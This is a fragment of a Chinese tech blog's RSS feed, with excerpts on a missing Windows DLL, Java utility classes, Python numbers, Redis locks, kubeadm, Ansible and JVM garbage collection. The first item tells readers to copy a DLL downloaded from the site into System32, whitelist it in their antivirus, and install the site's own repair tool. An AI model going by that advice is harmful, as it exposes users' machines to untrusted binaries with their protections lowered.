      <title>解决api-ms-win-crt-runtime-l1-1-0.dll文件丢失</title>
      <link>https://bchobby.github.io/posts/4fc8d29c5550058c15b59f341b4b1116/</link>
      <pubDate>Tue, 21 Feb 2023 16:44:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fc8d29c5550058c15b59f341b4b1116/</guid>
      <description>其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题，如果是新手第一时间会认为是软件或游戏出错了，其实并不是这样，其主要原因就是你电脑系统的该dll文件丢失了或者损坏了，这时你只需下载这个api-ms-win-crt-runtime-l1-1-0.dll文件进行安装(前提是找到适合的版本)，当我们执行某一个.exe程序时，相应的DLL文件就会被调用，因此安装好之后就能重新打开你的软件或游戏了.&#xA;那么出现api-ms-win-crt-runtime-l1-1-0.dll丢失要怎么解决？&#xA;一、手动从本站下载dll文件 1、从下面列表下载api-ms-win-crt-runtime-l1-1-0.dll文件&#xA;32位 文件:&#xA;api-ms-win-crt-runtime-l1-1-0.dll 10.0.10240.16390&#xA;2、将下载的文件放入到你要运行的软件或者游戏的安装所在文件夹之中，可以右键点击主执行程序.exe然后选择&#34;打开文件所在的位置&#34; 找到安装目录，将文件复制进去。&#xA;或者将文件复制到Windows系统目录，这个需要注意电脑的系统是32位还是64位，如果是32位的系统，那就将本站下载32位的dll文件放到“C:/Windows/System32”这个文件夹里面,如果是64位的系统，那就将本站下载的32位dll文件放到“C:/Windows/SysWOW64”这个文件夹里面,本站下载的64位文件放到“C:/Windows/System32”这个文件夹里面.&#xA;如果问题依然无法解决，值得注意的是此类文件的丢失有时候和杀毒软件的误报毒有关，所以请将此类dll文件添加到杀毒软件的信任列表当中.&#xA;二、使用本站提供的软件进行自动修复 本站出品的DLLEscort软件具有修复Windows系统文件的特性，它可以帮助你修复系统软件或游戏丢失的DLL运行库文件。 如:DirectX游戏运行库,directx出现错误导致的游戏打不开等BUG; VC(Microsoft Visual C++)运行库是在Windows系统下运行Visual Studio开发的应用必备组件，缺少的话无法运行软件，会出现提示缺少DLL的情况。&#xA;DLLEscort全面支持32/64位 Windows XP,Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10 操作系统&#xA;下载地址：本站下载 | 百度网盘下载(提取码: 9999),下载完成后得到安装包文件运行后，点击Next下一步进行安装，安装完毕后会自动打开软件或手动执行桌面主程序(DLLEscort)即可打开软件，&#xA;桌面软件图标:&#xA;一、点击“PC Scan”或 “Click to Start Scan”开始对系统丢失文件扫描&#xA;二、扫描完成，扫描结果分成三部分，包括1，待修复的丢失文件。 2，待修复的注册表。 3.待清理的系统缓存文件。&#xA;三、点击”ALL Repair”修复开始，请保持网络通畅,直到所有问题修复完成。</description>
    </item>
    <item>
      <title>芯旺微烧录器使用及驱动安装</title>
      <link>https://bchobby.github.io/posts/540d587b538947b14c5632b1728a239d/</link>
      <pubDate>Tue, 21 Feb 2023 15:35:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/540d587b538947b14c5632b1728a239d/</guid>
      <description>芯旺微烧录器使用及驱动安装 一、烧录器驱动安装说明： 注意事项：在我们安装IDE的时候正常都会默认安装了烧录器的驱动，只有安装了烧录器驱动电脑才能识别到烧录器，才能进行后续的固件升级；&#xA;所以如果已经默认IDE安装步骤的可以无视此条，如果一不小心没有安装或者未安装成功的也不用担心，下面就是通过IDE的烧录器驱动安装步骤 ：&#xA;步骤 1、点击菜单栏的 帮助 — 安装驱动程序&#xA;2、在弹框后直接下一步直到安装完成即可；&#xA;这样插上烧录器就可以正常识别到烧录器啦，如果电脑有个别加密软件或者WIN7系统尽管提示安装成功，但是仍然识别烧录器的，建议安装后重启一下电脑，如果还是无法识别，最好是更换其他电脑尝试。&#xA;二 、固件升级说明： 1、黄色 烧录器使用： 此版本的烧录器为初始版本的烧录器，适配所有版本的IDE，固件升级通过帮助，固件升级，在弹框中升级后即可正常使用。&#xA;步骤 1、开打IDE并点击 菜单栏的 帮助 ---- 固件升级管理 ；&#xA;2、弹框后&#xA;2、蓝色 烧录器使用： 此版本烧录器为新版本的烧录器，在IDE不是最新的（目前版本1.0.19.4）情况下，需要通过官网的压缩包另行单独升级，链接附上 新版本烧录器下载链接&#xA;步骤 1、下载压缩包&#xA;2、下载后解压，找到此文件，双击&#xA;3、弹框后进行升级，依次点击如下&#xA;以上即可完成新版本的烧录器升级任务。&#xA;本次更新时间为20230202.</description>
    </item>
    <item>
      <title>大数据毕业设计 opencv指纹识别系统 - python 图像识别</title>
      <link>https://bchobby.github.io/posts/730e06c53e6563539290e3184966b296/</link>
      <pubDate>Tue, 21 Feb 2023 14:45:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/730e06c53e6563539290e3184966b296/</guid>
      <description>文章目录 0 前言1 课题背景2 效果展示3 具体实现3.1 图像对比过滤3.2 图像二值化3.3 图像侵蚀细化3.4 图像增强3.5 特征点检测 4 OpenCV5 最后 0 前言 🔥 这两年开始毕业设计和毕业答辩的要求和难度不断提升，传统的毕设题目缺少创新和亮点，往往达不到毕业答辩的要求，这两年不断有学弟学妹告诉学长自己做的项目系统达不到老师的要求。&#xA;为了大家能够顺利以及最少的精力通过毕设，学长分享优质毕业设计项目，今天要分享的是&#xA;🚩 基于机器视觉的指纹识别系统&#xA;🥇学长这里给一个题目综合评分(每项满分5分)&#xA;难度系数：3分工作量：3分创新点：4分 1 课题背景 指纹是指人类手指上的条状纹路, 它们的形成依赖于胚胎发育时的环境。“没有2个完全相同的指纹”这一观点已经得到公认。指纹识别已经有了很长一段历史。&#xA;据考古学家证实:公元前6 000年以前, 指纹作为身份鉴别的工具已经在古叙利亚和中国开始应用。到了20世纪80年代,、光学扫描这2项技术的革新, 使得它们作为指纹取像的工具成为现实, 从而使指纹识别可以在其他领域中得以应用。&#xA;现在, 随着取像设备的引入及其飞速发展, 生物指纹识别技术的逐渐成熟, 可靠的比对算法的发现都为指纹识别技术提供了更广阔的舞台。&#xA;本项目实现了一种指纹识别系统，通过过滤过程来确定用户指纹是否与注册的指纹匹配。通过过滤技术对捕获的指纹进行处理，以从捕获的图像中去除噪声。去除噪声后的最终结果与注册的指纹进行特征匹配，以确定它们是否相同。&#xA;2 效果展示 3&#xA;3 具体实现 3.1 图像对比过滤 图像融合是一种图像增强方法，这里先融合两个图像便于特征点对比。利用的是opencv封装的函数&#xA;cv2.addWeighted() 相关代码&#xA;def apply_Contrast(img): alpha = 0.5 # assigned weight to the first image beta = 0.5 # assigned weight to the second image img_second = np.</description>
    </item>
    <item>
      <title>SqlForamt，sql组装工具类</title>
      <link>https://bchobby.github.io/posts/7e8b076f09f44e08e3643b1985e951ce/</link>
      <pubDate>Tue, 21 Feb 2023 14:29:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e8b076f09f44e08e3643b1985e951ce/</guid>
      <description>import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; /** * @author: wenyong.wang@kuwo.cn * @version: v1.0 * @description: cn.kuwo.added.service.ui * @date:2023/2/20 */ public class SqlForamt { private static final String sqlFormat = &#34;select %s from %s where 1=1 %s %s %s %s %s&#34;; private StringBuffer columns = new StringBuffer(); private StringBuffer table = new StringBuffer(); private StringBuffer condition = new StringBuffer(); private StringBuffer groupBy = new StringBuffer(); private StringBuffer orderBy = new StringBuffer(); private StringBuffer limit = new StringBuffer(); private StringBuffer ext = new StringBuffer(); public String getSQL(){ return String.</description>
    </item>
    <item>
      <title>驼峰工具类</title>
      <link>https://bchobby.github.io/posts/5b60a6bb2f25e2ca4d29868cf9c9f918/</link>
      <pubDate>Tue, 21 Feb 2023 14:27:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b60a6bb2f25e2ca4d29868cf9c9f918/</guid>
      <description>import org.apache.commons.lang3.StringUtils; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * 字符串转为驼峰格式 构建工具类 * @author: wenyong.wang@kuwo.cn * @version: v1.0 * @description: cn.kuwo.added.service.ui * @date:2023/2/20 */ public class CaseFormat { private static Pattern UNDERLINE_PATTERN = Pattern.compile(&#34;_([a-z])&#34;); public static String conver(String str){ if (StringUtils.isBlank(str)) { return str; } return underlineToHump(str.toLowerCase()); } public static String underlineToHump (String str){ //正则匹配下划线及后一个字符，删除下划线并将匹配的字符转成大写 Matcher matcher = UNDERLINE_PATTERN.matcher(str); StringBuffer sb = new StringBuffer(str); if (matcher.find()) { sb = new StringBuffer(); //将当前匹配的子串替换成指定字符串，并且将替换后的子串及之前到上次匹配的子串之后的字符串添加到StringBuffer对象中 //正则之前的字符和被替换的字符 matcher.</description>
    </item>
    <item>
      <title>ASP .NET（基于.NET 6.0）源码解读</title>
      <link>https://bchobby.github.io/posts/b384c3b04e6fca91ef4f5554f52e9431/</link>
      <pubDate>Tue, 21 Feb 2023 13:13:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b384c3b04e6fca91ef4f5554f52e9431/</guid>
      <description>这几天一直在琢磨在我现有技术认知基础上，未来如何做技术提升。&#xA;日思夜想，我整理出了我自己的一套学习规划方案，并希望在实施过程中能够不断调整学习方案与方式，以接近自我提升的效率最大化。&#xA;从以下几个大的方面来得到提升：&#xA;看源码算法与数据结构经典书籍 如果我切实能从以上方面有所收获并不断深入遇到瓶颈时，我可以考虑：&#xA;看基础(操作系统，计算机组成原理...)数学... 一切看起来都是那么庞大...，每一个点都可以琢磨三五年，成长是需要从长计议的，上面的方案也需要在一个合适的时间(初版先体验，感受)写出细节。人是矛盾的，有时候我总担心过度思考，最终得不到一个好的执行；有时候直接拿起来做又担心战略方向错误，这又需要不断磨练精进自我的思维能力。不过现在来说，我最需要拿出执行力。&#xA;如果是看源码的话，我能够得到的了解/提升：&#xA;扎实语言基础知识，所以我在看源码过程中，如果涉及到比较生疏的知识点，我也会动手coding并做记录某个概念的底层实现(如依赖倒置、并发模型)某个组件的工作流优秀的代码设计 我会怎么做：&#xA;带着问题看记录看的过程了解源码后，能够在此源码基础上添加新功能 看源码过程中涉及到的比较生疏的知识点 =&amp;gt; lambdaget属性的简写 _age == _age01：&#xA;使用_age =&amp;gt; a * b 而不是 _age = a * b的好处是：前者可以在被调用前再计算右边的算式，后者需要在全局变量被加载时，就计算出右边的算式。换句话说，前者是懒加载，后者是预加载。前者可以做到比较好的性能管理。 using语句在哪里？ .net6默认采用的c#语法版本是c# 10，所以在asp .net 6 mvc的program.cs中看不到using语句。c#支持global using，意思是可以将可能在多个类文件中同时引用的程序集写在一个地方，如using.cs。但是我看了每一个文件，都没看到我想看到的那个“using.cs”，其实是asp .net 6把这个配置写在了项目模版中(.csproj)&#xA;启用此配置，global using默认会有：&#xA;看源码实现时，方法内容全是throw null？ 这是因为微软在C# 7.1开始，引入了“引用程序集”的概念，源码有具体实现说项目引用的是实现程序集。引用程序集更轻量化、兼容性更强。微软对引用程序集的说明：引用程序集。微软就不能给个配置方式，可以让我们引用实现程序集，方便调试与代码理解..&#xA;那么如果我们想看源码应该怎么破？&#xA;找到对应的dll，反编译 .net的反编译工具：ILSpy.net core为开源项目，可以从github获取源码 源码地址：aspnetcore(注意通过切换分支/tag的方式切换到当前框架版本) new()： new关键字可以作为运算符、修饰符以及约束。&#xA;作为运算符时，可以创建对象。&#xA;C# 9之前和c# 9之后的写法：&#xA;//c# 9 before private List&amp;lt;int&amp;gt; ints01 =&amp;gt; new List&amp;lt;int&amp;gt;(); //C# 9 later private List&amp;lt;int&amp;gt; ints02 =&amp;gt; new(); 新的写法可以达到简化代码的目的。</description>
    </item>
    <item>
      <title>Python数据结构详解（一）</title>
      <link>https://bchobby.github.io/posts/5d27f58a44a16bc359bff40a887e31b6/</link>
      <pubDate>Tue, 21 Feb 2023 11:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d27f58a44a16bc359bff40a887e31b6/</guid>
      <description>学习一门语言，了解其数据结构是基础。由于Python是动态编程语言，所以在定义变量时并不需要事先指定变量的数据类型，变量的声明和初始化是同时进行的。&#xA;Python有如下五大数据结构类型：&#xA;1、Number类型&#xA;2、字符串类型&#xA;3、列表，元组&#xA;4、字典&#xA;5、集合&#xA;下面我们逐一来了解一下~&#xA;本篇详细介绍Number类型&#xA;一、Number类型 Number类型，又叫数字类型，是Python中最基本的数据结构类型，分为整数类型（如 1、2）、浮点类型（1.1、2.2）、复合类型（1+2j）及布尔类型（True、False）。&#xA;1.1 整数类型 1.1.1 整数类型表达方式 整数类型表达方式有二进制、八进制、十进制与十六进制&#xA;二进制：以“0B”或“0b”开头（比如0b101）八进制：以 “0o”或“0O”开头（比如0o510）十进制：比如10、29、40十六进制 ：以“0x”或“0X”开头（比如0xA7A） 不同进制的转换函数如下：&#xA;x = 10 # 十进制转换为二进制，输出形式是字符串 y = bin(x) print(y, type(y)) # 十进制转换为八进制，输出形式是字符串 z = oct(x) print(z, type(z)) # 十进制转换为十六进制，输出形式是字符串 w = hex(x) print(w, type(w)) # 接收一个符合整型规范的字符串，并将字符串转换为整型 s = &#34;111&#34; r = int(s) print(r, type(r)) 输出结果：&#xA;1.1.2 大整数 Python语言非常牛X的一个特点就是可以处理大整数，别的语言可能需要通过字符串来转换（面试经常考），而Python不需要，因此Python基本不用担心数字溢出问题，这也是Python广泛应用在科学计算的主要原因。&#xA;输出超过32位的整数，伸手就来&#xA;print(2**40) 再也不用考虑数字溢出问题了，人生苦短，我用Python！&#xA;1.1.3 数字中支持下划线 Python 3.6中引入的新特性，数字中支持使用下划线，方便阅读，字符串format方法也支持了 ‘_’ 选项，当格式化为浮点数或整数时，以3位分隔，当格式化为 ’b’ , ’o’ , ’x’ 和 ’X’ 时，以4位分隔</description>
    </item>
    <item>
      <title>记一次KindEditor表格修改无效问题</title>
      <link>https://bchobby.github.io/posts/25b1182efe0f69d2e50029b37ba4ff10/</link>
      <pubDate>Tue, 21 Feb 2023 11:26:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25b1182efe0f69d2e50029b37ba4ff10/</guid>
      <description>项目说明 项目是由UmiJS创建的(React+Ant Design4.2)，项目需求是富文本编辑器录入多样内容，可供查看。&#xA;通过各方探索以及客户的沟通，选定了KindEditor编辑器，通过iframe嵌入。但仍有很多不符合要求的地方，所以要进行很多魔改。&#xA;同时伴随着客户的使用体验，针对问题进行修复。&#xA;起因及详细说明 客户提出一个问题：表格整体由居左修改为居中后，点击保存，在显示区域里仍是居左，修改无效。&#xA;项目页面中，编辑器所在位置是一个弹窗里，编辑器通过子组件里iframe嵌入，通信是props和postMessage/onMessage&#xA;// 父页面 &amp;lt;Modal onOk={handleOk}&amp;gt; ... &amp;lt;KindEditor initValue={initValue} setContent={setValueList} &amp;gt;&amp;lt;/KindEditor&amp;gt; ... &amp;lt;/Modal&amp;gt; const handleOk = () =&amp;gt;{ // 参数校验 // 接口请求 } // 子组件 const KindEditor = (props) =&amp;gt;{ ... const setContent = props.setContent; window.onmessage = (e)=&amp;gt;{ setContent(e.data) } useEffect(()=&amp;gt;{ ... editorDOM.contentWindow.postMessage( { initValue: props.initValue } ); ... },[props.initValue]) } 探查原因 编辑器问题 由于之前客户有提出过文字选中内容加粗偶尔无效问题，而且我在测试环境点击操作几次后，发现表格修改后保存是成功的，所以这一次最初怀疑是编辑器功能不稳定。&#xA;但细想下又觉得不对，加粗偶尔失效是在编辑器内操作时候内容文字效果就没有变成加粗效果，而这次对表格修改之后确实是成为了居中。&#xA;只是保存之后再查看时候还是和没修改一样，所以应该不是编辑器功能不稳定。&#xA;当在本地把代码运行后，在本地环境中终于复现了该问题。&#xA;经过几次操作的对比测试，发现有两种情况下结果不同：&#xA;修改完之后，马上点击提交，结果是不成功的修改完之后，稍等一会儿，做下其他操作(比如:点击下页面或者滑动下滚动条…)，点击提交按钮，结果是成功的。 所以觉得是编辑器通过postMessage/onMessage传值因为网速问题导致传值速度慢，所以在提交按钮中触发方法handleOk中加了延时，&#xA;// 参数校验 ... setTimout(()=&amp;gt;{ // loading处理和接口请求 .</description>
    </item>
    <item>
      <title>安全漏洞-linux漏洞修复命令</title>
      <link>https://bchobby.github.io/posts/ac69e740d61df7dc787167f296b0e484/</link>
      <pubDate>Tue, 21 Feb 2023 10:42:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac69e740d61df7dc787167f296b0e484/</guid>
      <description>1、漏洞名称：RHSA-2019:1880: curl 安全和BUG修复更新&#xA;修复命令：yum update curl -y &amp;amp;&amp;amp; yum update libcurl -y&#xA;cve编号：CVE-2018-14618&#xA;2、漏洞名称：RHSA-2019:2181: curl 安全和BUG修复更新&#xA;修复命令：yum update curl -y &amp;amp;&amp;amp; yum update libcurl -y&#xA;cve编号：CVE-2018-16842&#xA;3、漏洞名称：RHSA-2020:1020: curl 安全和BUG修复更新&#xA;修复命令：yum update curl -y &amp;amp;&amp;amp; yum update libcurl -y&#xA;cve编号：CVE-2019-5436&#xA;4、漏洞名称：RHSA-2020:3916: curl 安全更新&#xA;修复命令：yum update curl -y &amp;amp;&amp;amp; yum update libcurl -y&#xA;cve编号：CVE-2019-5482&#xA;5、漏洞名称：RHSA-2020:1020: curl 安全和BUG修复更新&#xA;修复命令：yum update curl -y &amp;amp;&amp;amp; yum update libcurl -y&#xA;cve编号：CVE-2019-5436&#xA;这是本次更新的漏洞修复命令，后序会一直更新&#xA;免责声明：本人坚决反对利用教学方法进行犯罪的行为，一切犯罪行为必将受到严惩，绿色网络需要我们共同维护，更推荐大家了解它们背后的原理，更好地进行防护。禁止任何人转载到其他站点，禁止用于任何非法用途。如有任何人凭此做何非法事情，均于笔者无关，特此声明。</description>
    </item>
    <item>
      <title>解决The dependencies of some of the beans in the application context form a cycle</title>
      <link>https://bchobby.github.io/posts/e83a2a33cc104966816972a110bb103b/</link>
      <pubDate>Tue, 21 Feb 2023 08:35:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e83a2a33cc104966816972a110bb103b/</guid>
      <description>The dependencies of some of the beans in the application context form a cycle&#xA;应用程序上下文中某些 Bean 的依赖关系形成一个循环&#xA;Relying upon circular references is discouraged and they are prohibited by default. Update your application to remove the dependency cycle between beans. As a last resort, it may be possible to break the cycle automatically by setting spring.main.allow-circular-references to true.&#xA;不鼓励依赖循环引用，默认情况下禁止使用循环引用。更新应用程序以删除 Bean 之间的依赖循环。作为最后的手段，可以通过将spring.main.allow-circular-references设置为true来自动打破循环。&#xA;解决方法 设置配置文件spring.main.allow-circular-references = true</description>
    </item>
    <item>
      <title>Redis之分布式锁</title>
      <link>https://bchobby.github.io/posts/375d05e34877055d38ab01c7b70fcccd/</link>
      <pubDate>Mon, 20 Feb 2023 22:47:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/375d05e34877055d38ab01c7b70fcccd/</guid>
      <description>随着业务发展的需要，原单体单机部署的系统被演化成分布式集群系统后，由于分布式系统多线程、多进程并且分布在不同机器上，这将使原单机部署情况下的并发控制锁策略失效，单纯的 Java API并不能提供分布式锁的能力。为了解决这个问题就需要一种跨 JVM 的互斥机制来控制共享资源的访问，这就是分布式锁要解决的问题!&#xA;分布式锁主流的实现方案:&#xA;1.基于数据库实现分布式锁.&#xA;2.基于缓存( Redis等)&#xA;3基于 Zookeeper*&#xA;每一种分布式锁解决方案都有各自的优缺点:&#xA;下面简单记录一下redis的简单方法。&#xA;1.redis设置锁&#xA;//设置锁 setnx [key] [value] //删除 del [key] 再次设置对应值会设置失败&#xA;2.避免锁长时间未释放，设置过期时间&#xA;expire [key] [second] 3.同时上锁和设置过期时间&#xA;set [key] [value] nx ex [s] 4.解决redis原子性的问题，可以使用lua脚本进行锁的释放。&#xA;代码简单实现如下&#xA;package com.chd.jot.jothot.modules.system.controller; import com.chd.jot.jothot.modules.system.utils.R; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.redis.core.RedisTemplate; import org.springframework.data.redis.core.script.DefaultRedisScript; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import java.util.Arrays; import java.util.UUID; import java.util.concurrent.TimeUnit; @RestController @RequestMapping(&#34;/redis&#34;) public class RedisController { @Autowired private RedisTemplate redisTemplate; @RequestMapping(&#34;/testRedis&#34;) public R getUserList(){ //声明一个uuid,将作为一个value 放入我们的key所对应的值中 String uuid = UUID.</description>
    </item>
    <item>
      <title>【vue-seamless-scroll bug问题记录以及解决】</title>
      <link>https://bchobby.github.io/posts/a7956400e3040ace7c48b56dc2b7b2d2/</link>
      <pubDate>Mon, 20 Feb 2023 21:58:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7956400e3040ace7c48b56dc2b7b2d2/</guid>
      <description>vue-seamless-scroll bug问题记录以及解决 vue-seamless-scroll 的使用方式，请查看网站链接: 组件官方示例。&#xA;问题1：无法自动滚动&#xA;解决方案：&#xA;①排查limitMoveNum 函数（开始无缝滚动的数据量）&#xA;不管动态数据还是静态数据，limitMoveNum 必须小于等于 数据数组长度。若大于则不会自动滚动。&#xA;option() { return { step: 0.4, // 数值越大速度滚动越快 limitMoveNum: 2, // 开始无缝滚动的数据量 hoverStop: true, // 是否开启鼠标悬停stop direction: 0, // 0向下 1向上 2向左 3向右 openWatch: true, // 开启数据实时监控刷新dom（ 用于计算属性中computed) singleHeight: 0, // 单步运动停止的高度(默认值0是无缝不停止的滚动) singleWidth: 0, // 单步运动停止的宽度(默认值0是无缝不停止的滚动) waitTime: 1000 // 单步运动停止的时间(默认值1000ms) } } ②排查动态数据问题。&#xA;后端返回展示数据，前端若要进行业务逻辑的处理，必须一次性将一个数组赋值给vue-seamless-scroll中展示数据。不能一个个push进去。采用的方法定义新数组一次性赋值。&#xA;// list 后端传过来数组 var newList = [ ] // 定义新数组 for (var i in list) { newList.</description>
    </item>
    <item>
      <title>k8s-kubeadm部署</title>
      <link>https://bchobby.github.io/posts/61e76344c73f345ac0edf36fd2fe6132/</link>
      <pubDate>Mon, 20 Feb 2023 18:22:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61e76344c73f345ac0edf36fd2fe6132/</guid>
      <description>文章目录 一、准备环境二、安装docker三、安装kubeadm，kubelet和kubectl四、部署容器网络五、部署UI 一、准备环境 1.安装要求&#xA;在开始之前，部署Kubernetes集群机器需要满足以下几个条件：&#xA;一台或多台机器，操作系统 CentOS7.x-86_x64；硬件配置：2GB或更多RAM，2个CPU或更多CPU，硬盘30GB或更多；集群中所有机器之间网络互通；可以访问外网，需要拉取镜像；禁止swap分区。 2.服务器&#xA;k8s-master 192.168.80.81&#xA;k8s-node1 192.168.80.82&#xA;k8s-node2 192.168.80.83&#xA;3、基础环境&#xA;#关闭防火墙： systemctl stop firewalld systemctl disable firewalld #关闭selinux： sed -i &#39;s/enforcing/disabled/&#39; /etc/selinux/config # 永久 setenforce 0 # 临时 #关闭swap： swapoff -a # 临时 sed -ir &#39;s/.*swap.*/#&amp;amp;/&#39; /etc/fstab # 永久 cat /etc/fstab #设置主机名： #hostnamectl set-hostname &amp;lt;hostname&amp;gt; #hostnamectl set-hostname k8s-master #hostnamectl set-hostname k8s-node1 #hostnamectl set-hostname k8s-node2 #在master添加hosts： cat &amp;gt;&amp;gt; /etc/hosts &amp;lt;&amp;lt; EOF 192.168.80.81 k8s-master 192.168.80.82 k8s-node1 192.</description>
    </item>
    <item>
      <title>ansible 命令执行模块和其他常见模块</title>
      <link>https://bchobby.github.io/posts/80b8ada7f51416ff50b2553fb7164c89/</link>
      <pubDate>Mon, 20 Feb 2023 16:38:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80b8ada7f51416ff50b2553fb7164c89/</guid>
      <description>目录 ansible 命令执行模块和其他常见模块 Ad-hoc 简介命令说明用户说明命令执行模块 shell模块command模块raw模块Ansible常用模块 script模块file模块copy模块yum模块管理服务模块user模块与group模块cron模块synchronize模块filesystem模块mount模块get_url 模块unarchive模块文章转自 ansible 命令执行模块和其他常见模块 Ad-hoc 简介 Ad-Hoc 是指ansible下临时执行的一条命令，并且不需要保存的命令，对于复杂的命令会使用playbook。Ad-hoc的执行依赖于模块，ansible官方提供了大量的模块。 如：command、raw、shell、file、cron等，具体可以通过ansible-doc -l 进行查看 。可以使用ansible-doc -s module来查看某个模块的参数，也可以使用ansible-doc help module来查看该模块更详细的信息。&#xA;命令说明 一个ad-hoc命令的执行，需要按以下格式进行执行：&#xA;ansible 主机或组 -m 模块名 -a &#39;模块参数&#39; ansible参数 主机和组，是在/etc/ansible/hosts 里进行指定的部分，当然动态Inventory 使用的是脚本从外部应用里获取的主机；模块名，可以通过ansible-doc -l 查看目前安装的模块，默认不指定时，使用的是command模块，具体可以查看/etc/ansible/ansible.cfg 的“#module_name = command ” 部分，默认模块可以在该配置文件中进行修改；模块参数，可以通过 “ansible-doc -s 模块名” 查看具体的用法及后面的参数；ansible参数，可以通过ansible命令的帮助信息里查看到，这里有很多参数可以供选择，如是否需要输入密码、是否sudo等。 用户说明 ansible在执行ad-hoc的时候，需要使用远程管理机上的一个用户身份，默认这个用户是root，而在实际生产环境中，不建议直接使用root，而推荐使用一个普通用户，需要配置该普通用户可通过sudo提权。&#xA;需要说明的是，通过上面的操作，需要为ansible用户先创建密码，在实际生产当中，不建议为该用户设置密码。可在安装系统时，提前将管理端公钥直接写入到被管理节点的ansible用户下&#xA;命令执行模块 命令执行模块包含如下 四个模块：&#xA;command模块：该模块通过-a跟上要执行的命令可以直接执行，不过命令里如果有带有如下字符部分则执行不成功 “ &#34;&amp;lt;&#34;, &#34;&amp;gt;&#34;, &#34;|&#34;, &#34;&amp;amp;&#34; ；shell 模块：用法基本和command一样，不过其是通过/bin/sh进行执行，所以shell 模块可以执行任何命令，就像在本机执行一样；raw模块：用法和shell模块一样，也可以执行任意命令，就像在本机执行一样；script模块：将管理端的shell 在被管理主机上执行，其原理是先将shell 复制到远程主机，再在远程主机上执行，原理类似于raw模块。 raw模块和comand、shell 模块不同的是其没有chdir、creates、removes参数，chdir参数的作用就是先切到chdir指定的目录后，再执行后面的命令，这在后面很多模块里都会有该参数 。&#xA;shell模块 root@node1 ansible]# ansible web -m shell -a &#34;</description>
    </item>
    <item>
      <title>JVM—并发垃圾收集器CMS</title>
      <link>https://bchobby.github.io/posts/ad4d6c0bf501c819c65d60de9bcd673b/</link>
      <pubDate>Mon, 20 Feb 2023 14:29:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad4d6c0bf501c819c65d60de9bcd673b/</guid>
      <description>前言 当GC时需要枚举的GC根节点需要极短的停顿（STW）&#xA;而在遍历GC引用链时，如果用户线程是停顿的，那么不会改变引用，GC线程遍历标识即可&#xA;但随着堆内存中对象的增多，引用链会越来越长，如果持续让用户线程停顿，在某些需要低延迟的场景是不理想的&#xA;因此希望能在这个环节让用户线程和GC线程能够并发执行，并发执行就会存在改变对象引用，可能导致对象消失问题，其中可以使用增量更新和原始快照的方式解决，而CMS使用的就是增量更新&#xA;Concurrent Mark Sweep CMS全称Concurrent Mark Sweep 并发标记清除收集器&#xA;CMS是老年代收集器，采用标记-清除算法，年轻代常用ParNew收集器，以最短停顿时间(低延迟)为目标的收集器&#xA;CMS并没有使用标记-整理算法，因为标记、清理阶段是和用户线程并发执行的，如果使用标记-整理算法可能会导致移动引用的位置导致出错&#xA;执行步骤&#xA;初始标记: 标记GC Roots直接关联的对象（STW时间极短）&#xA;并发标记: 从GC Roots直接关联对象开始遍历整个引用链的过程（耗时长，不需要停顿用户线程，用户线程与GC线程并发执行）&#xA;重新标记: 使用增量更新避免对象消失问题，修正并发标记期间改动的对象（需要STW，耗时比步骤1长，比步骤2短）&#xA;并发清除: 清理标记阶段判断已死亡的对象、重置状态等（该阶段也是并发执行）&#xA;执行图&#xA;参数设置&#xA;-XX:UseConcMarkSweepGC&#xA;老年代使用CMS垃圾收集器，新生代使用ParNew收集器 -XX:CMSInitiatingOccupancyFraction&#xA;设置老年代使用多少空间时开始垃圾回收 如果设置的太高，不够内存分配，不能满足并发执行，就会冻结用户线程启动Serial Old收集器，停顿时间就会变长如果内存增长缓慢可以设置高一些，如果内存增长很快就要设置低一些 默认92% -XX:+UseCMSCompactAtFullCollection&#xA;指定在FULL GC后是否对内存进行压缩整理开启后，通过-XX:CMSFullGCsBeforeCompaction设置执行多少次FULL GC后进行内存压缩整理 -XX:ParallelCMSThreads&#xA;设置GC线程数量&#xA;特点&#xA;优点:&#xA;停顿时间短&#xA;只在初始标记，重新标记时STW&#xA;并发执行&#xA;时间长的并发标记和并发清理与用户线程，加快响应速度，提升用户体验&#xA;缺点:&#xA;吞吐量降低&#xA;在处理器核数少时，GC线程与用户线程并发执行（使用i-CMS解决:减少GC线程独占时间，垃圾回收时间变长，对用户线程执行影响变小）&#xA;无法处理浮动垃圾&#xA;增量更新通过记录新增引用来避免对象消失问题，可能出现浮动垃圾（不能在这一次的GC中被回收，只能下一次GC时被回收）&#xA;CMS不能等老年代满了再垃圾回收，因为与用户线程并发执行，所以需要留一部分内存&#xA;内存碎片多&#xA;多次垃圾回收后进行一次标记-整理算法，采用替补方案Serial Old&#xA;总结 本文根据并发垃圾收集器CMS深入浅出的解析CMS执行流程、优缺点以及配置参数等&#xA;CMS是一款主打低延迟、使用标记-清除算法的老年代并发垃圾收集器，年轻代常使用ParNew&#xA;CMS在初始标记时进行STW，接下来遍历引用链时与用户线程并发执行，然后让用户线程短暂STW使用增量更新进行重新标记，最后在并发进行清理、重置等工作&#xA;CMS的特点是在遍历引用链、清理时并发执行，能够使用户线程的停顿时间变短；但是带来吞吐量的降低，并且增量更新会导致浮动垃圾的出现，由于老年代使用标记-清除算法，不整理内存将会导致大对象无法存储，替补方案是使用Serial Old单线程标记-整理&#xA;如果老年代内存不足或需要整理内存时，会使用Serial Old 单线程处理，这可能导致延迟更高，在高版本中已经有G1等其他垃圾收集器代替CMS，CMS在JDK14时被移除</description>
    </item>
